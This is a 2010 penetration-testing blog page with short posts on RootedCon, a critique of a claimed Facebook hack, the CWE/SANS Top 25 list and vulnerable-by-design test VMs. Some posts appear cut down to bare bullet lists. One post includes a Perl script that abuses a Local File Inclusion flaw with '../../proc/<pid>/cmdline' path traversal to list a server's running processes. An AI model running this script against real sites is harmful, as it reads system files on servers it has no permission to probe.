Monday, 12 April 2010
Pentura is Delicious!!!
Posted by Pedro Laguna at 5:28 pm 0 comments
Friday, 9 April 2010
Web security news and the "Hack of the Year"
- They start doing a port scan of facebook.com
- After that they do some simple Google search queries trying to identify some PHP errors because is well know that Facebook is developed in this language.
- A quick look into the robots.txt file can focus us into specific (and usually privates) web pages.
- After these tests against facebook.com they move to apps.facebook.com and detect some vulnerabilities in third parties applications. These applications are not developed by Facebook and are not hosted in the Facebook servers.
- Facebook doesn't use MySQL, they use Cassandra.
- The path showed in the PHP errors points clearly to another server (http://tomkincaid.dreamhosters.com/)
- Wordpress? I'm pretty sure that is not any Wordpress installation running in the Facebook servers.
- Don't say your exploit is the "Hack of the year", wait until the community say it: http://pwnie-awards.org/
Posted by Pedro Laguna at 4:06 pm 0 comments
Thursday, 1 April 2010
Process command line enumeration using LFI
This week during a pentest I discovered a website vulnerable to Local File Inclusion vulnerability. As I wanted to discover the most information possible about the system I decided to retrieve the running process and the command line used to execute these programs. With this I pretended to discover more services and paths in the system.
I wrote a very simple Perl program that can be modified very easily to other scenarios :)
Enjoy!#!/usr/bin/perl -w use LWP; my $browser = LWP::UserAgent->new; my $url = 'https://URL/load?file=../../proc/'; for($i = 0; $i < 9500; $i++){ my $response = $browser->get( $url.$i."/cmdline" ); if($response->content !~ m/^$/i) { print $i . " : " . $response->content ."\n"; } }
Posted by Pedro Laguna at 4:56 pm 0 comments
Labels: fuzzing, pentesting, security
Friday, 26 March 2010
Back from RootedCon 2010
Thursday, 18 March 2010
Rooted Con 2010
I'm today at Madrid, at the first Rooted Con conferences. They are going to be in Spanish only but I'll try to post a small report of all the things they show here.
Is planned the release of two 0days bugs. One in the Oracle Financials 12 software and other in an undetermined software. I'll post more details about they :)
Also we are going to have another great speaks about well-know pentesting tools. One of them is going to be about the release of Wifislax 4.0 by Sergio Gonzalez. It's a live-cd linux distribution focused on wifi networks intrusion testing and I'm expecting a great work and for sure some new functionalities.
Other tool to be released is the Foca 2.0. Foca is a fingerprinting tool to map a company network using the metadata included in the documents all companies offers in their websites. In this second version they integrated it with the Shodan search engine and the option to perform a DNS zone transfer attack. I know very well the people behind this tool and I know is going to the an impressive release :)
But no all is going to be releasing new tools, we are going to have also speaks about other topics like forensic, rootkits and hacker's world in comics! Looks for me like a very complete conferences.
I have to leave you now because the first speak is going to start...
Posted by Pedro Laguna at 9:52 am 0 comments
Monday, 15 March 2010
2010 CWE/SANS Top 25 Most Dangerous Programming Errors
- ASP.Net
- JSP
- Perl/Python
- ASP
- PHP
Posted by Pedro Laguna at 3:29 pm 0 comments
Wednesday, 3 March 2010
Testing and virtual machines
- The OWASP is hosting a project called "Broken Web Applications Project" who offers a virtual machine to test different vulnerable software. You can check online the list of vulnerable applications included.
- Recently was released the version 1.0 of Web Security Dojo, which includes vulnerable applications and some web security related tools, as Brup proxy or w3af.
Posted by Pedro Laguna at 12:44 pm 0 comments
Labels: opinion, pentesting, security, web
